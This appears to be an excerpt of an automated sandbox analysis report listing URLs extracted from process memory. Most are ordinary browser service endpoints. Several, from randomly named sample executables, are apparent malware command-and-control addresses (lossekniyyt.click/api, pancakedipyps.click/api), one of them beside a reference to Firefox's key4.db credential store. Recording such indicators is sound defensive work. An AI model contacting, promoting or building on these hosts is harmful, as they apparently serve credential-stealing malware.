Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: 1375bfecca.exe, 00000009.00000003.2513994584.0000000007A4F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ip
Source: 1375bfecca.exe, 00000009.00000003.2513994584.0000000007A4F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ipbefore
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 00000024.00000002.3041968406.00000241686EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000024.00000002.3041968406.0000024168689000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001B.00000003.3026277382.000001CEBD532000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000025.00000002.3165600389.0000752800770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000025.00000002.3162928734.0000752800237000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000025.00000002.3165600389.0000752800770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000025.00000003.2947847814.0000752800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000025.00000003.2948913200.000075280039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000025.00000003.2947847814.0000752800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000025.00000003.2948913200.000075280039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000025.00000002.3165600389.0000752800770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 00000025.00000002.3162928734.0000752800237000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardu($
Source: chrome.exe, 00000025.00000002.3165600389.0000752800770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardu(wZ
Source: chrome.exe, 00000025.00000002.3165600389.0000752800770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000025.00000003.2947847814.0000752800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000025.00000003.2948913200.000075280039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 00000025.00000003.2956833853.00007528006E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000025.00000003.2948913200.000075280039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000025.00000002.3165733589.000075280078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116Plus
Source: chrome.exe, 00000025.00000002.3165733589.000075280078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918
Source: chrome.exe, 00000025.00000002.3165531442.0000752800744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: firefox.exe, 0000001B.00000003.3026277382.000001CEBD532000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 0000001B.00000003.3026277382.000001CEBD532000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 0000001B.00000003.3026277382.000001CEBD532000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001B.00000003.3022453215.000001CEBD898000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000001B.00000003.3022130799.000001CEBD5F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: c7af53ccad.exe, 00000007.00000002.2791610731.0000000001187000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click/
Source: c7af53ccad.exe, 00000007.00000002.2790107590.00000000010DC000.00000004.00000020.00020000.00000000.sdmp, c7af53ccad.exe, 00000007.00000002.2791093014.0000000001126000.00000004.00000020.00020000.00000000.sdmp, c7af53ccad.exe, 00000007.00000002.2791610731.0000000001187000.00000004.00000020.00020000.00000000.sdmp, c7af53ccad.exe, 00000007.00000002.2791093014.0000000001129000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click/api
Source: c7af53ccad.exe, 00000007.00000002.2790107590.00000000010F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click:443/api
Source: c7af53ccad.exe, 00000007.00000002.2790107590.00000000010F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click:443/api4p.default-release/key4.dbPK
Source: c7af53ccad.exe, 00000007.00000002.2790107590.00000000010F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click:443/apis
Source: chrome.exe, 00000025.00000003.2975132263.00004214001E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: firefox.exe, 0000001B.00000003.2887291666.000001CEB2F1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2887625945.000001CEB2F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885027582.000001CEB2F33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001B.00000003.2887291666.000001CEB2F1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2887625945.000001CEB2F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885027582.000001CEB2F33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001B.00000003.2887291666.000001CEB2F1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2887625945.000001CEB2F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885027582.000001CEB2F33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000024.00000002.3041968406.0000024168686000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: chrome.exe, 00000025.00000003.2982529124.0000421400280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: firefox.exe, 0000001B.00000003.2887291666.000001CEB2F1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2887625945.000001CEB2F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885027582.000001CEB2F33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: 05ca246288.exe, 00000026.00000002.3026868785.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/
Source: 05ca246288.exe, 00000026.00000002.3026868785.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, 05ca246288.exe, 00000026.00000002.3026868785.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api
Source: 05ca246288.exe, 00000026.00000003.3014793330.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, 05ca246288.exe, 00000026.00000002.3026868785.0000000000F5C000.00000004.00000020.00020000.00000000.sdmp, 05ca246288.exe, 00000026.00000003.3014793330.0000000000F5C000.00000004.00000020.00020000.00000000.sdmp, 05ca246288.exe, 00000026.00000002.3026868785.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/pi
Source: 05ca246288.exe, 00000026.00000003.3014793330.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, 05ca246288.exe, 00000026.00000003.3003452035.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click:443/api
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001B.00000003.2887291666.000001CEB2F1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2887625945.000001CEB2F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885027582.000001CEB2F33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: chrome.exe, 00000025.00000002.3159545991.00004214001A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000025.00000002.3161051959.00004214002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 00000025.00000002.3161051959.00004214002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditingB
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001B.00000003.2879430180.000001CEB4F00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: chrome.exe, 00000025.00000002.3159545991.00004214001A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: 05ca246288.exe, 00000022.00000002.2983397774.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 00000024.00000002.3041968406.0000024168612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000024.00000002.3041968406.0000024168689000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: 3275f9fb1e.exe, 00000010.00000003.2926751775.0000000005DD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 3275f9fb1e.exe, 00000010.00000003.3007651309.00000000060E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 3275f9fb1e.exe, 00000010.00000003.3007651309.00000000060E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 7847e34378.exe, 0000000B.00000003.3135304059.000000000BD49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
